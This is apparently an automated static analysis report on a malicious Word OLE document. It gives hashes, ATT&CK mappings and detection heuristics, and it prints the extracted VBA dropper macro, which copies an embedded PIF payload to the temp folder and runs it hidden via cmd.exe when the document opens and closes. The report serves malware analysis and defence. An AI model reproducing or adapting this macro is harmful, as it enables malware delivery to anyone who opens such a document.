Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 14ba2f31d7958e32…

MALICIOUS

Office (OLE)

190.5 KB Created: 2018-03-21 11:47:00 Authoring application: Microsoft Office Word First seen: 2019-12-09
MD5: 5dfc79f5f21c94701050966c8b861fbb SHA-1: fa01b5dcfc3bf375f6a595ce274b5abae7bc9ec9 SHA-256: 14ba2f31d7958e323fbd0df0418fdebeb4be1f33063d8059bf3a50385a5b757e
578 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic T1059.003 Windows Command Shell

The sample exploits CVE-2007-3899, a memory corruption vulnerability in Microsoft Word, to achieve code execution. The Document_Open macro is designed to copy a PIF file to the temporary directory and then execute it via cmd.exe. The Document_Close macro also attempts to execute a PIF file from the temporary directory using cmd.exe, indicating a dropper functionality.

Heuristics 16

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • Office EPRINT stream contains EMF object high CVE related OLE_EPRINT_EMF_OBJECT
    OLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is related Office object-delivery evidence when paired with exploit payload anomalies, but the malformed graphics record required for exact CVE attribution is not proven by this rule alone.
  • ClamAV: Doc.Dropper.Agent-6593244-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6593244-0
  • XOR-encoded strings (key 0xDA) critical SC_XOR_ENCODED
    Found 3 Windows library/API name(s) XOR-encoded with single-byte key 0xDA: 'LoadLibraryA', 'GetProcAddress', 'VirtualAlloc'
    Disassembly hidden — these bytes score as data, not coherent x86 code (no internal branches to corroborate control flow).
  • Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell "cmd.exe /c  ping localhost -n 100 && start " & Environ("Temp") & "\6C.pif", vbHide
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    Shell "cmd.exe /c  ping localhost -n 100 && start " & Environ("Temp") & "\6C.pif", vbHide
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    FileCopy Environ("Temp") & "\5C.pif", Environ("Temp") & "\6C.pif"
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Reference to VirtualProtect API medium SC_STR_VIRTUALPROTECT
    Reference to VirtualProtect API
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://secure.comodo.net/CPS0C In document text (OLE body)
    • http://ocsp.comodoca.com0In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://crl.comodoca.com/COMODORSACodeSigningCA.crl0tIn document text (OLE body)
    • http://crt.comodoca.com/COMODORSACodeSigningCA.crt0$In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas🔏 SignedVBA project digital signature
Covers VBA source only — not the compiled p-code. A digital signature does not by itself mean the macro is safe.		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 1327 bytes
SHA-256: c8c5646a6140c3f3e37eb1d2282e1c2fb2b78934b4ad58e67fbe2061df1852dc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
Application.DisplayAlerts = False
Dim Str As String

    Selection.MoveDown Unit:=wdScreen, Count:=7
    Selection.MoveDown Unit:=wdScreen, Count:=7
    Selection.MoveRight Unit:=wdCharacter, Count:=13
    Selection.TypeBackspace
    Selection.Copy
    

FileCopy Environ("Temp") & "\5C.pif", Environ("Temp") & "\6C.pif"

Selection.TypeBackspace
 Set d = New DataObject
    d.SetText " "
    d.PutInClipboard
    Selection.MoveUp Unit:=wdScreen, Count:=7
   Selection.MoveUp Unit:=wdScreen, Count:=7
    Selection.MoveLeft Unit:=wdCharacter, Count:=13
    Dim t As Date
    t = Now
    Do
        DoEvents
    Loop Until Now >= DateAdd("s", 3, t)


Call Module1.killo

End Sub
Private Sub Document_Close()
Shell "cmd.exe /c  ping localhost -n 100 && start " & Environ("Temp") & "\6C.pif", vbHide
End Sub






Attribute VB_Name = "Module1"
Sub killo()
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatXMLDocument
End Sub
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1591621150/Ole10Native 71396 bytes
SHA-256: 3f1a6b1f3cf8a0c1212fd48e6bc26df84db197e327898c7b04746bc2e6ce5eab
ole10native_00_5C.pif ole-package-payload OLE Ole10Native payload: ObjectPool/_1591621150/Ole10Native; display_name=5C.pif; full_path=C:\Users\win7home\AppData\Local\Temp\5C.pif; temp_path=; def_file= 71120 bytes
SHA-256: aa57258f768a786edb9918b99ba6718fc5464b56ac26911482026e7f072ace16

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